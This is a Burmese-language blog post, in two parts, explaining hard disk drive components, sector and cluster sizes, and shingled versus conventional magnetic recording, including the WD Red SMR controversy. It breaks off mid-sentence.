hard disk တွေအကြောင်း၊ solid state drive တွေအကြောင်းကို သိပြီးသည့်တိုင်အောင် နည်းနည်းလေး လေ့လာရပြန်ရော။ ရေးဖို့ကို တည်လိုက်ရင်း ဟာ… ဒါတော့ဖြင့် မလုံလောက်သေးဘူး ထက်ရှာ ထက်ဖတ်ဖို့ လိုမယ်ထင်လို့ ဖြည့်ရင်း ဘောင်ဘင်ခတ်တဲ့ အိုးက ဘောင်ဘင်ခတ် နေမြဲမို့ အခုပဲချရေးလိုက်တော့မယ်ဆိုပြီး ရေးဖို့ကိုဆုံးလိုက်ပါတော့တယ်။

### Hard disk drive တွေအကြောင်း

အမှန်တကယ် rabbit-hole အတိုင်းသွားရင်တော့ punched tape တွေအကြောင်းကနေစရပါလိမ့်မယ်။ အဆင့်ဆင့်ပြောင်းလဲလာပုံကို လေ့လာရင်း တော်တော်လေးကို စိတ်လှုပ်ရှားဖို့ကောင်းတဲ့ data တွေကို ဘယ်လိုသိမ်းဆည်းသလဲဆိုတဲ့ အကြောင်းလေးတွေပါ။ သို့သော်လည်း စာရေးသူ ပြောချင်တဲ့ file system အကြောင်းနဲ့တော့ တိုက်ရိုက် ဆက်စပ်မှု မရှိတော့တဲ့အတွက် လက်ရှိအချိန်ထိ လက်တွေ့အသုံးပြုနေရတုန်းဖြစ်တဲ့ magnetic hard drive တွေအကြောင်းကနေစလိုက်ခြင်းပဲ ဖြစ်ပါတယ်။ magnetic tape တွေကိုလည်း အခုအချိန်ထိတော့ data backup အတွက်တော့ အသုံးပြုနေဆဲပါ။ Magnet ကို အသုံးပြုပြီးတော့ data ကိုသိမ်းဆည်းပုံမှာတော့ တူပါတယ်။ သို့သော် hard drive တွေမှာလိုမျိုး magnetic tape တွေမှာ အများကြီးပြောင်းလဲတိုးတက်သွားတာမျိုး မရှိပါ။ Hard drive ကို အသုံးပြုပြီးတော့ data သိမ်းဆည်းတဲ့ နေရာမှာတော့ Moore’s law တွင်ဆိုထားတဲ့ အတိုင်း exponential ဆတိုး ပြီးတော့ သိုလှောင်သိမ်းဆည်း နိုင်စွမ်းဟာ တစ်နှစ်တခါ နှစ်နှစ်တခါ တိုးလို့လာပါတော့တယ်။ ဒီတော့ hard drive size အတိုင်းပဲ ဒီ mechanism အတိုင်းပဲ သုံးပြီးတော့ capacity တိုးတက်အောင်လုပ်သလဲဆို အရင်ဆုံး လေ့လာကြည့်ရအောင်။

#### Hard disk drive မှာပါဝင်တဲ့ physical နဲ့ logical အစိတ်အပိုင်းများ

Hard disk drive လို့ဆိုလိုက်ပြီဆိုတာနဲ့ သူ့ရဲ့ case ထဲမှာ အောက်ဖော်ပြပါ physical အစိတ်အပိုင်းတွေပါဝင်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-ab564a0051ddc49dc24fbc597346f87e8bf73ba0%2FHard-Disk-Parts-768x549.png?alt=media" alt=""><figcaption></figcaption></figure>

**Platters** – ဒီ platters ဆိုတာကတော့ သံလိုက်ဓာတ်ပါတဲ့ စက်ဝိုင်းပုံ သတ္တုပြားအချပ်တွေပါ။ ဒီသတ္တုပြားတွေပေါ်မှာ magnetic charge တွေကို အသုံးပြုပြီးတော့ data တွေကိုသိမ်းဆည်းသိုလောင်တဲ့ မျက်နှာပြင်တွေပါဝင်ပါတယ်။ hard disk drive အဟောင်းတွေမှာ capacity များတဲ့ hard disk drive တွေမှာ platters အချပ်တွေအများကြီးကို အဆင့်ဆင့်ထပ်ပြီးတော့ ထည့်သွင်းခြင်းဖြင့် data တွေပိုမို သိမ်းဆည်းဖို့အတွက် လုပ်ကြပါတယ်။ အဲ့ဒီ platters တွေကြောင့် ပုံမှန်အားဖြင့် ပိုလည်းလေးပြီးတော့ energy consumption လည်း အနည်းငယ်ပိုပါတယ်။ အခုနောက်ပိုင်းတော့ နည်းပညာတိုးတက်လာတဲ့အလျှောက် နည်းမျိုးစုံနဲ့ platter နှစ်ချပ်ကနေ သုံးချပ်ထဲမှာပဲကို data တွေအများကြီးသိမ်းလို့ ရအောင် ကြိုးပမ်းလာကြပါတယ်။

**Spindle motor** – အထက်က platters တွေကိုလှည့်ဖို့အတွက်ထည့်ထားတဲ့ အလယ်က ဝင်ရိုးတန်း လျှပ်စစ် motor တစ်ခုပါ။ ဒီ motor ရဲ့အလုပ်ကတော့ တစ်မိနစ်အတွင်း အပတ်ရေ ဘယ်လောက်ကို လှည့်နိုင်တယ်ပေါ်မှာ မူတည်ပြီးတော့ revolution-per-minute (rpm) ကိုသိနိုင်ပါတယ်။ ပုံမှန် hard disk တွေဟာ 7200 rpm နဲ့ လာပြီး၊ ဒီထက်နှေးတဲ့ မြန်တဲ့ rpm တွေနဲ့လာတဲ့ hard disk တွေလည်းရှိပါတယ်။ RPM များလေလေ read/write speed မြန်လေလေဖြစ်တဲ့အတွက် စျေးလည်းပိုကြီးပါတယ်။ လှည့်ပတ်နှုန်းပိုမြန်တဲ့အတွက် သူ့ကထွက်တဲ့ အသံဟာလည်း ပိုပြီးတော့ ကျယ်လောင်တတ်ပါတယ်။

**Read/Write Arm** – ဒါကတော့ platters ပေါ်က data တွေကို ရေးတဲ့ ဖတ်တဲ့အခါမှာ သုံးတဲ့ မောင်းတံ တစ်ခုပါ။ တခါတခါ head arm သို့မဟုတ် actuator arm လို့လည်းခေါ်ပါတယ်။ ဘာဖြစ်လို့လဲဆိုရင် သူ့မောင်းတံရဲ့ ထိပ်မှာ data တွေကို read နဲ့ write လုပ်တဲ့ head တစ်ခုပါပြီး၊ အဲ့ဒီ head နဲ့ platters တွေရဲ့ မျက်နှာပြင်ဟာ ထိလုနီးပါး အနေအထားမှာ ရှိလို့နေပါတယ်။ အကြမ်းဖျင်းအားဖြင့် လူ့ရဲ့ DNA ကို ဆွဲထုတ်ပြီးတော့ တို်င်းတာကြည့်လိုက်ရင်ဖြင့် DNA အမျှင် နှစ်မျှင်မျှသာသာ လွှတ် တယ်လို့ ဆိုပါတယ်။ အတိုင်းအတာ အမြင့်အားဖြင့် 3 nanometres ပင်ရှိလေသည်။ ထိုအတွက် head နဲ့ မျက်နှာပြင်နှစ်ခုကြားမှာ friction မရှိသလောက်ဖြစ်အောင် air bearing တစ်ခုပါရှိပြီးတော့၊ အဲ့ဒီ air bearing ကပဲ ၄င်း 3 nanometres အကွာအဝေး ကို constant ဖြစ်အောင်လုပ်ပေးထားပါတယ်။ ဒီလိုမှာမဟုတ်ရင်တော့ read/write head နဲ့ platters မျက်နှာပြင်တွေမှာ နှစ်ခုထိပြီးတော့ data တွေကို ဖျက်စီးသွားနေနိုင်မှာပါ။

**Actuator** – ဒီဟာကတော့ read/write arm ကိုရှေ့တိုးနောက်ဆုတ် ပြုလုပ်ဖို့အတွက်လုပ်ထားတဲ့ နောက်ထပ် motor တစ်ခုပါ။ Platters ပေါ်မှာရှိတဲ့ data ကိုရေးတဲ့ ဖတ်တဲ့အခါမှာ ဘယ် track ပေါ်မှာရေးရဖတ်ရမလဲဆိုတာကို ရွေ့ပေးတဲ့ motor တစ်ခုပါ။ ဒါကြောင့် သူ့ကို head actuator လို့လည်းနောက်တမျိုး ခေါ်ကြပါတယ်။

အထက်မှာကတော့ hard disk drive တစ်လုံးရဲ့ အတွင်းထဲမှာ data တွေကို သိုလှောင်ဖို့အတွက် လုပ်ထားတဲ့ အစိတ်အပိုင်းအချို့ပါ။ နောက်ထပ် အခြားသော chips တွေကို circuit board ပေါ်မှာတွေ့နိုင်ဖြစ်ပြီးတော့ သူ့အတွက် power ပေးဖို့အတွက် power input interface နဲ့ data အတွက် IDE၊ SCSI သို့မဟုတ် SATA ဆိုပြီးတော့လာတတ်ပါတယ်။ အရွယ်အစားအားဖြင့်လည်း ပုံစံမျိုးစုံနဲ့ လာပြီးတော့ 2.5-inch ဆိုရင် laptop နဲ့ low-profile desktop PC တွေအတွက်အပြင် 3.5-inch ဆိုရင်တော့ ပုံမှန် desktop PC တွေနဲ့ server storage တွေအတွက် အသုံးပြုကြပါတယ်။ အခြားသော form factor နဲ့ လာတဲ့ hard disk drive အရွယ်အစားတွေလည်း ရှိသေးတယ်။ ဒီ့အပြင် Western Digital (WD) မှာဆိုရင် အရောင်အလိုက် ကိုယ်သုံးမယ့်နေရာမှာမူတည်ပြီး စျေးလည်းကွာခြားတတ်ပါတယ်။ ဥပမာ အပြာရောင်ဆိုရင် ပုံမှန် နေ့စဉ်သုံး PC မှာသုံးဖို့ထုတ်ထားပြီး အနီရောင်ဆိုရင် ဖြင့် NAS တွေမှာသုံးဖို့ထုတ်လုပ်ပါတယ်။ အခြား vendor မှာလည်း သူ့ classification နဲ့ သူရှိတဲ့အတွက် ပြောစရာတွေတော်တော်လေးကို များလွန်းတယ်။ ဒီ post မှာတော့ storage နဲ့ သူ့ရဲ့ file system တွေအကြောင်းကိုအသားပေးပြီးတော့ ပြောချင်တာဖြစ်တဲ့အတွက် အခြားအစိတ်အပိုင်းတွေကို အသေးစိတ်မသွားတော့ပါဘူး။ နောက်တဆင့်အနေနဲ့ data တွေကိုသိမ်းဆည်း သိုလှောင်ရာမှာ သိထားရမယ့် logical အစိတ်အပိုင်းလေးတွေကို သွားလိုက်ရအောင်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-b61f4e48a784eb5e4c501a9e011daa66c3205468%2FHard-Disk-Geometry.png?alt=media" alt=""><figcaption></figcaption></figure>

**Head** – logical အစိတ်အပိုင်းလို့ ပြောသော်လည်း ဒီ head ဆိုတဲ့အရာဟာ အထက်မှာပြောသွားတဲ့ read/write arm ရဲ့ ထိပ်က transducer လို့ခေါ်တဲ့ magnetic ရဲ့ ပုံစံကို ပြောင်းလဲပေးနိုင်တဲ့ ခေါင်းလေးတစ်ခုပါ။ transducer ဟာ data တွေကို hard disk ရဲ့ platter ပေါ်မှာရေးတဲ့အခါမှာ write operation အတွက် အသုံးပြုပါတယ်။ လိုအပ်တဲ့ data ကိုရေးဖို့အတွက် transducer ဟာ magnetic recording လုပ်တဲ့အခါမှာ သံလိုက်ရဲ့ ဦးတည်ရာကို တောင်ဘက်သို့မဟုတ် မြောက်ဘက်ကို လှည့်ပေးခြင်းဖြင့် binary number အတွက် 0 နဲ့ 1 ကို ဖြစ်စေပါတယ်။ ဆိုကြပါတော့ တောင်ဘက်လှည့်နေတဲ့ နေရာကို 0 လို့ယူပြီးတော့ မြောက်ဘက်လှည့်ရင် 1 လို့သတ်မှတ်လိုက်ခြင်းအားဖြင့် computer တစ်လုံးရဲ့ binary တွက်ချက်မူဖြင့် ASCII code ကိုအသုံးပြုပြီးတော့ characters တွေကို data အနေနဲ့ သိမ်းဆည်းရနိုင်ပါတယ်။ ဒီလိုတောင်နဲ့မြောက်ဘက် သို့မဟုတ် အပေါ်နဲ့ အောက်ကို အသုံးပြုပြီးတော့ transducer လုပ်ပေးပြီးတော့ data သိမ်းလှောင်မူကို perpendicular recording လို့ခေါ်ပါတယ်။ ထောင့်မှန်ကျ သိမ်းဆည်းသိုလှောင်မှု လို့ဆိုလိုက်ပါ့မယ်။ ဒီ့မတိုင်ခင်က longitudinal recording ဆိုတဲ့ နည်းကို သုံးပါတယ်။ အလျားလိိုက် သိမ်းဆည်းသိုလှောင်တဲ့အတွက် transducer ဟာ သံလိုက်ပုံစံကို အရှေ့အနောက် သို့မဟုတ် ဘယ်ညာဆိုပြီးတော့ ထားတယ်။ ပြဿနာက data တွေကို သိမ်းဆည်းနိုင်စွမ်း များလာလေ အလျားလိုက် ထားသိုမူက super-paramagnetic effect ဆိုတာဖြစ်စေပါတယ်။ အလျားလိုက်အနေအထားမှာ သံလိုက်ရဲ့ စွမ်းအင်ဟာ ဘေးချင်းကပ်နေတဲ့ သံလိုက်စွမ်းအားကို ဆွဲလိုက် ကန်လိုက်နဲ့ မူရင်း သံလိုက်ပုံစံ တွေဟာ အရှေ့ကနေ အနောက်၊ အနောက်ကနေ အရှေ့ကို ပြောင်းလဲသွားခြင်းဖြင့် bit flip ဖြစ်ကုန်ပါလေရော။ အဲ့ဒီမှာပဲ သိမ်းထားတဲ့ data တွေဟာ corrupt ဖြစ်ပြီးတော့ ပြန်ဖတ်တဲ့အခါမှာ ဘာအဓိပ္ပာယ်မှ မရှိတော့ပါဘူး။ ဒီအတွက် hard disk ထုတ်တဲ့သူတွေဟာ data တွေလည်း ပိုလည်းဆန့်မယ်၊ super-paramagnetic effect လည်း နည်းအောင်လို့ perpendicular recording ဆိုတဲ့ ထောင့်မှန်ကျ တောင်နဲ့မြောက်ဘက်ကို အသုံးပြုလာကြပါတယ်။ Data တွေကို ပြန်ပြီးတော့ ဖတ်တဲ့အခါမှာလည်း ဒီ head ကို အသုံးပြုပြီးတော့ပဲ magnetic recording ကိုပြန်လည် သယ်ဆောင်ပါတယ်။ အထက်ပါ nature ကြောင့် စာရေးသူ head ကို logical အစိတ်အပိုင်းမှာ ထည့်သွင်း ဖော်ပြရခြင်းဖြစ်ပါတယ်။ Platter တစ်ခုမှာ အပေါ်နဲ့အောက် မျက်နှာပြင်နှစ်ခုရှိတဲ့ အတွက် head လည်း နှစ်ခုရှိပါတယ်။ ဒီအတိုင်းပဲ platter နှစ်ခုဆိုရင် head ကလည်း လေးခုဖြစ်သွားမှာပါ။ “၁ အချိုး ၂” အချိုးအတိုင်းသွားမှာပါ။

**Cylinder** – Cylinder လုံးရှည်ရှည်ပုံစံမျိုး hard disk မှာတစ်ခုမှ မပါဝင်ပါ။ သို့သော်လည်း cylinder လို့ဆိုရခြင်းအကြောင်းမှာ platter တွေကို အထပ်လိုက် အပေါ်အောက်စီပြီးကြည့်လိုက်ခြင်းဖြင့် cylinder လုံးရှည်ပုံစံထွက်လာပါတယ်။ အထပ်လိုက်လို့ ပြောရခြင်းမှာ head ရဲ့ အရှေ့တိုးနောက်ဆုတ် နေရာပေါ်မှာမူတည်ပြီးတော့ platter တစ်ခုစီရဲ့ read/write လုပ်တဲ့အခါမှာ မျက်နှာပြင်တိုင်းမှာ သွားပြီး အရေးအဖတ်လုပ်ခြင်းက ပိုပြီးတော့ ထိရောက်မူ ရှိပါတယ်။ ဒီ့အတွက် read/write လုပ်တဲ့အခါမှာ အတွင်း cylinder လား အပြင် cylinder လားဆိုပြီးတော့ နေရာချတာ ပိုပြီးတော့ အဆင်ပြေနိုင်ပါတယ်။ Read/Write Arm ဟာ နေရာတစ်ခုတည်းမှာနေပြီးတော့ ရှိသမျှ platter တွေရဲ့ မျက်နှာတွေအားလုံးကို ရေးနိုင်ဖတ်နိုင်တဲ့အတွက် seek time နည်းသွားပါတယ်။ ဒါကြောင့် cylinder ကို hard disk တစ်လုံးရဲ့ logical အစိတ်အပိုင်းဆိုပြီးတော့ သတ်မှတ်ကြပါတယ်။

**Track** – Cylinder မှာလိုပဲ track ဆိုတာဟာလည်း platter ရဲ့ မျက်နှာပြင်တစ်ခုပေါ်မှာ Read/Write head နေရာမပြောင်းပဲ စက်ဝိုင်းအတိုင်းလှည့်ပြီးတော့ ဆွဲလိုက်ရင် ပေါ်လာတဲ့ လမ်းကြောင်း တစ်ခုကို track တစ်ခုလို့ သတ်မှတ်ပါတယ်။ ဒီတော့ အတွင်း track လား အပြင် track လားဆိုပြီးတာ့ ရှာဖွေလို့ရနိုင်လို့ logical အစိတ်အပိုင်းတစ်ခုလို့ သတ်မှတ်ကြပါတယ်။ Track တွေကို အပေါ်အောက် အထပ်လိုက်စီလိုက်ရင်ဖြင့် cylinder တစ်ခုဖွယ် ဖြစ်သွားတာကိုလည်း သတိထားမိမှာပါ။ ဒါက cylinder နဲ့ track ရဲ့ ဆက်နွယ်မူပါ။

**Sector** – Sector ဆိုတာကတော့ နည်းပညာ အသုံးအနှုန်း ပြောရင်တော့ minimum data unit လို့ပြောတဲ့ အနည်းဆုံး data သိုလှောင်ရာ အစုအဝေးတစ်ခုပါ။ ဒီ minimum data unit ကို hard disk ထုတ်လုပ်တဲ့ vendor တွေက hardware level မှာ sector size မျိုးစုံနဲ့ သတ်မှတ်ကြပါတယ်။ 512 bytes၊ 1024 bytes၊ 2048 bytes၊ 4096 bytes (4K) ရယ်ဆိုပြီးတော့လာပါတယ်။ Sector size ကြီးလေလေ ပိုပြီးတော့ data တွေကို သိမ်းဆည်း နိုင်စွမ်းများလေလေပါ။ တခါတလေလည်း sector ကို block size ဆိုပြီးတော့လည်း သုံးနှုံးခေါ်ဆိုကြပါတယ်။ Data တွေကို disk ပေါ်မှာသိမ်းတဲ့အခါမှာ sector size ကအရေးပါတဲ့ နေရာမှာရှိပါတယ်။ အရင်တုန်းက 512 bytes sector size ကို အသုံးပြုပြီး အဲ့ဒီအချိန်တုန်းက သိမ်းဆည်းတဲ့ file size တွေဟာလည်း အခုလောက်မကြီးတဲ့အတွက် sector သေးတာပိုပြီးတော့ ထိရောက်မူရှိပါတယ်။ 1.2 KB ရှိတဲ့ file တစ်ခုကို 512 bytes sector နဲ့ သိမ်းတဲ့အခါမှာ sector ၃ခုနဲ့ ကုန်ပါလိမ့်မယ်။ နောက်ဆုံး sector ကိုသုံးတဲ့အခါမှာ 512 bytes အပြည့်သုံးစရာမလိုသော်လည်း 0.2 KB သို့မဟုတ် 200 bytes အတွက် sector တစ်ခုပေးလိုက်ရတယ်။ အဲ့ဒီအတွက် 312 bytes ဟာ မသုံးပဲနဲ့ အလကားဖြစ်သွားပါတယ်။ သို့သော် နောက်ပိုင်းအသုံးပြုလာတဲ့ 4096 bytes သို့မဟုတ် 4K sector size ကို အသုံးပြုမယ်ဆိုရင် အဲ့ဒီ 1.2 KB ရှိတဲ့ file ကိုသိမ်းဖို့အတွက် sector တစ်ခုပဲလိုပြီး 4096 bytes – 712 bytes (1.2KB) = 3384 bytes ဆိုတဲ့အတွက် ပိုပြီးတော့ bytes တွေကို ဆုံးရှုံးရပါတယ်။ ဒီအတွက် အခုခေတ် 4K sector size ကိုအသုံးပြုတဲ့ hard disk တွေမှာ file သေးသေးလေးတွေအများကြီးသိမ်းဆည်းခြင်းဖြင့် ကိုယ်လည်းမသုံးရပဲနဲ့ hard disk ပေါ်မှာ bytes တွေများစွာဆုံးရှုံးရမှာပါ။ ဆိုတော့ကာ sector size ကြီးခြင်းသေးခြင်းမှာ ကောင်းကျိုး ဆိုးကျိုး နှစ်ခုရှိပါတယ်။ အထက်က ဥပမာမှာ ကြည့်ခြင်း အားဖြင့် sector size အသေးဟာ file size အသေးလေးတွေကို သိမ်းဖို့အတွက်ကောင်းပြီးတော့ file ကို ပြန်ပြီးတော့ read လုပ်တဲ့အခါမှာ seek time ပိုများပါတယ်။ 1.2 KB ရှိတဲ့ file ကို reconstruct လုပ်ဖို့အတွက် sector ၃ခုကို ပြန်ပြီးတော့ ဖတ်ရပါတယ်။ နောက်တစ်ခုက သုံးတဲ့ sector အရေအတွက် များလေလေ fragmentation ဖြစ်နိုင်ချေလည်း ပိုများသွားပါတယ်။ အဲ့ဒီအတွက် defragmentation ပြန်ပြီးတော့ လုပ်ပေးရပါတယ်။ sector size ကြီးရင်တော့ မလိုအပ်ပဲ ကုန်သွားတဲ့ space တွေရှိသော်လည်း sector တစ်ခုတည်းကို ဖတ်ရတဲ့အတွက် seek time ဟာ ပိုတိုသွားတယ်။ အဲ့ဒီအတွက် performance ဟာလည်း သိသိသာသာတက်လာစရာရှိပါတယ်။ ဒီ့အတွက်အချို့သော virus program တွေဟာ user မသိအောင် file သေးသေးလေးတွေကို ဖန်တီးခြင်းဖြင့် system တစ်ခုမှာ storage မကုန် ကုန်အောင်လုပ်တဲ့ နည်းတွေကို သုံးပြီးတော့ user တွေကို ဒုက္ခပေးတတ်ကြတယ်။ Sector/block ဆိုတာလည်း hard disk တစ်လုံးရဲ့ အရေးပါတဲ့ logical အစိတ်အပိုင်းတစ်ခု အနေနဲ့ ရှိပြီးတော့ ဒီအခြေခံကို ကောင်းကောင်းနားလည်ထားရင်တော့ မသိသေးတဲ့လူတွေထက်တော့ ခေါင်းတစ်လုံးသာသွားပါပြီ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-c2b21fdc3bc28f4106294a432872316aadba920f%2F512-bytes-vs-4K-HDD-Sector.png?alt=media" alt=""><figcaption></figcaption></figure>

**Cluster** – နောက်တစ်ခု cluster ဖြစ်ပါတယ်။ Cluster ဆိုတာကတော့ sector/block တစ်ခုသို့မဟုတ် တစ်ခုထပ်ပိုတာတွေကို အစုလေးတွေထပ်တခါ ဖွဲ့လိုက်ခြင်းဖြင့် cluster ဖြစ်သွားပါတယ်။ Operating System တွေမှာတော့ Allocation Unit Size (AUS) လို့ ခေါ်ပါတယ်။ Sector/block ဆိုတာက hardware level မှာ hard disk ကိုထုတ်တဲ့ vendor ကသူ့ရဲ့ ROM မှာ သတ်မှတ်ထားတာဖြစ်ပြီးတော့ cluster သို့မဟုတ် allocation unit size မှာတော့ operating system level မှာ ထပ်တခါ software နည်းနဲ့ အကျဉ်းအကျယ် လုပ်နိုင်တဲ့ သဘောပါ။ Operating system လို့ ပြောတာနဲ့ file system ကပါလာပါပြီ။ နောက်အပိုင်းတစ်ခုမှာ file system အကြောင်းကို သီးသန့်ရှင်းပါ့မယ်။ Cluster ဟာ operating system တစ်ခုရဲ့ file system နဲ့ ပိုမိုဆက်နွယ်မူ ရှိသော်လည်း sector/block ကို logical အစိတ်အပိုင်း အနေနဲ့ ရှင်းရင်းနဲ့မို့ ဆက်ပြီးတော့ ရှင်းလိုက်တာပါ။ အခုနောက်ပိုင်းမှာတော့ storage capacity ဟာလည်း ဆတိုးများလာပြီမို့ အရင်တုန်းကလိုမျိုး allocation unit size ကို hard disk တစ်လုံး format ချတဲ့အချိန်မှာ လိုက်ပြီးတော့ ပြောင်းလဲပေးစရာမလိုတော့ပါဘူး။ System ကပေးတဲ့ default နဲ့ဆိုလည်း အဆင်ပြေနိုင်ပါတယ်။

ဒီ အပိုင်းက ဒီလောက်နဲ့ပဲ ရပ်လိုက်ပါတော့မယ်။ နောက်အပိုင်းတွေမှာတော့ အခြားသော storage နဲ့ ဆိုင်တဲ့ အကြောင်းအရာလေးတွေကို ဆက်ပြီးတော့ ဆွေးနွေးသွားမှာဖြစ်ပြီး၊ file system အကြောင်းလေးတွေကို ပါအောင်ထည့်သွင်း သွားပါ့မယ်။


# Storage အကြောင်းတစေ့တစောင်း – အပိုင်း(၂)

အပိုင်း(၁)မှာတော့ hard disk drive တစ်လုံးမှာ data တွေရေးဖို့ ဖတ်ဖို့အတွက်ဘာတွေပါသလဲဆိုတာရှင်းထားသွားပြီးတဲ့ နောက်မှာ အခုဒီအပိုင်းမှာတော့ solid state drive တွေအကြောင်း ကိုဆက်သွားပါ့မယ်။ Data တွေကို read/write လုပ်တဲ့ပုံမှာတော့ hard disk drive တွေမှာ magnetic wave ကိုအသုံးပြုပြီးတော့ 0 နဲ့ 1 တွေကို သိမ်းဆည်းပေးပြီးတော့၊ solid state drive မှာတော့ လုံးဝကိုခွဲထွက်သွားပါတယ်။ Hard disk drive ရဲ့ head ဆိုတာ အရှေ့အပိုင်းမှာတုန်း ရှင်းသွားတုန်းက Longitudinal Magnetic Recording (LMR) နဲ့ Perpendicular Magnetic Recording (PMR) အကြောင်းတွေကို transducer အကြောင်းပြောရင်း အနည်းအကျဉ်း ရှင်းပေးထားပါတယ်။ ဟိုတလောတုန်းက Western Digital (WD) ကသူ့ရဲ့ အနီရောင် Red drive ကို SMR သုံးထားကြောင်း မပြောပဲနဲ့ NAS အတွက်ဆိုပြီးတော့ ရောင်းတဲ့အတွက် နည်းပညာလောကထဲက အချို့လူတွေ ဒါကိုသိတော့ တော်တော်လေးကို အချဉ်ပေါက်ကြပါတော့တယ်။ SMR ဆိုတာကတော့ Shingled Magnetic Recording ကိုပြောတာပါ။ အစတုန်းကတော့ နားထောင်နေကြ Podcast တစ်ခုဖြစ်တဲ့ TechSNAP ရဲ့ episode 426 – [Storage Stories](https://www.jupiterbroadcasting.com/140792/storage-stories-techsnap-426/) မှာ WD ရဲ့ Red drive ကို စနှပ်တာ နားထောင်မိတော့ ဘာဖြစ်လို့များ ဒီလောက်တောင် SMR ဟာ အရေးပါလို့လဲပေါ့ဆိုပြီးတော့ တွေးမိပါသေးတယ်။ နောက်ပိုင်း သေသေချာချာလိုက်ရှာဖတ်ကြည့်မှပဲ WD-gate ရဲ့ SMR လှည့်ဖျားပုံကို သိရပါတော့တယ်။ WD အပြင်အခြားသော HDD vendor တွေမှာလည်း SMR အသုံးပြုတယ်လို့သိရှိရပါတယ်။ SMR ကို ပုံမှန် PC တို့ Laptop တို့အတွက် daily operation မှာ အသုံးပြုလို့ အဆင်ပြေသော်လည်း WD Red လိုမျိုး စျေးကြီးပေးရတဲ့ drive မှာအသုံးတာကတော့ လုံးဝလက်မခံနိုင်စရာပါ။ ဒီနေရာမှာ SMR ဆိုတာဘာလည်းလို့ အနည်းငယ် နားလည်အောင် အကျဉ်းချုပ် ဆွေးနွေးကြည့်ရအောင်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-c94c62c23e20e895e1021596bbdf7578e2ea3b19%2FWD-Internal-Client-SMR-HDDs.png?alt=media" alt=""><figcaption></figcaption></figure>

### Shingled Magnetic Recording (SMR) ဆိုသည်မှာ

နောက်ပိုင်းထွက်တဲ့ hard disk drive (HDD) တွေမှာ SMR ကိုတော်တော်လေး သုံးကြပါတယ်။ အထူးသဖြင့် capacity လည်းများပြီးတော့ စျေးလည်းပေါတဲ့ HDD တွေမှာ တွင်တွင်ကျယ်ကျယ်ကြီးကို အသုံးပြုတယ်။ ဘာကြောင့်လည်းဆိုတော့ SMR ကိုသုံးခြင်းအားဖြင့် data ကို hard disk ပေါ်မှာ write လုပ်တဲ့အခါ shingled ဆိုတဲ့အတိုင်း တစ်ခုနဲ့ တစ်ခုထပ်ထားတဲ့ အနေအထားမျိုးမှာ သိမ်းဆည်းတဲ့အတွက် storage space ကိုပိုရအောင် သွပ်ထည့်နိုင်တဲ့ recording ပုံစံတစ်ခုပါ။ အရှေ့မှာ ပြောခဲ့တဲ့ Perpendicular Magnetic Recording (PMR) ကိုအခုအချိန်မှာတော့ Conventional Magnetic Recording (CMR) ရယ်လို့ လူသိများကြပါတယ်။ SMR ကတော့နောက်ပိုင်းမှ budget HDD တွေမှာအသုံးပြုနိုင်အောင် ထည့်သွင်းအသုံးပြုတဲ့ recording တစ်ခုပါ။ Shingled ဆိုတဲ့ အဓိပ္ပာယ်ကတော့ အိမ်ခေါင်မိုးပေါ်မှာသုံးတဲ့ သွပ်တွေကို ထပ်ထားတဲ့ ပုံစံမျိုးကို ဆိုလိုပါတယ်။ ဒီတော့… data တွေကို တစ်ခုနဲ့ တစ်ခုထပ်ပြီးတော့ ထည့်သွင်း သိုလှောင်နိုင်တဲ့ အတွက် track လည်းပိုပြီးသေးသွားတယ်… အဲ့ဒီအတွက် track အရည်အတွက်ပိုများများကို ထည့်လို့ရတဲ့အတွက် data storage လည်း ပိုရလာတယ်။ ပိုများတဲ့ storage ကိုရနိုင်သော်လည်း performance အပိုင်းအတွက် ထိခိုက်မူတွေရှိပါတယ်။ Operating system layer မှာတော့ SMR လား CMR လားဆိုတာကို လုံးဝခွဲခြားလို့ မရနိုင်ပါ။

Track တစ်ခုနဲ့ တစ်ခုတဲ့ ထပ်ထားတဲ့ နေရာမှာ ပြဿနာက data တွေကို ရေးတဲ့အခါ အဲ့ဒီထပ်ထားတဲ့ track တွေပြဿနာတတ်ပါတော့တယ်။ ဆိုကြပါတော့… ထပ်ထားတဲ့ track နှစ်ခုမှာ အောက်က track မှာ ရေးထားပြီးသား data ရှိတယ်ဆိုရင်… အပေါ်မှာရှိတဲ့ track မှာ write operation လုပ်ရင် အောက်က track ရော အပေါ်က track ရော ပြန်ပြီးတော့ အဆင့်ဆင့် စီကာပတ်ကုံး ထည့်ဖို့ရာအတွက် အောက်က track ကိုပါပြန်ပြီးတော့ rewrite လုပ်ရပါတော့တယ်။ ဒါ့အတွက် write လုပ်တဲ့အခါမှာ CMR မှာထက် SMR မှာပိုပြီးတော့ ကြန့်ကြာဖို့ရှိပါတယ်။ ဒါကိုဖြေရှင်းဖို့အတွက် HDD vendor တွေဟာ write လုပ်လာတဲ့ data များကို buffer cache တွေမှာသွားပြီးတော့ အရင်သိမ်းဆည်းလိုက်ပါတယ်။ နောက်ပြီးရင် ဒီ SMR drive ပေါ်မှာ CMR segments အချို့ကို သတ်မှတ်ထားတဲ့ track တွေပေါ်အရင်ဆုံးရေးလိုက်တယ်။ ပြီးတော့မှ write ရော read ရော operation မရှိ idle ဖြစ်နေတဲ့ အချိန်ကြမှ အဲ့ဒီ CMR segments တွေကနေ shingled track ပေါ်ကို rewrite လုပ်ပါတယ်။ ဒီ့အတွက် cache လည်းပိုပြီးတော့ လိုအပ်တယ်။ နောက်ပြီးတော့ HDD vendor တွေဟာ HDD ရဲ့ firmware မှာလည်း လိုအပ်သလို optimize လုပ်နိုင်အောင် ပြောင်းလဲထားပါသေးတယ်။ မည်သို့မည်ပုံ လုပ်ထားသလဲဆိုတာကိုတော့ အသေးစိတ်ရှင်းထားတာတော့ သေချာမတွေ့မိသေးပါ။ Data တွေကို read လုပ်တဲ့အခါမှာတော့ ဘာမှပြဿနာမရှိပါ။ သို့သော် ပြဿနာက enterprise 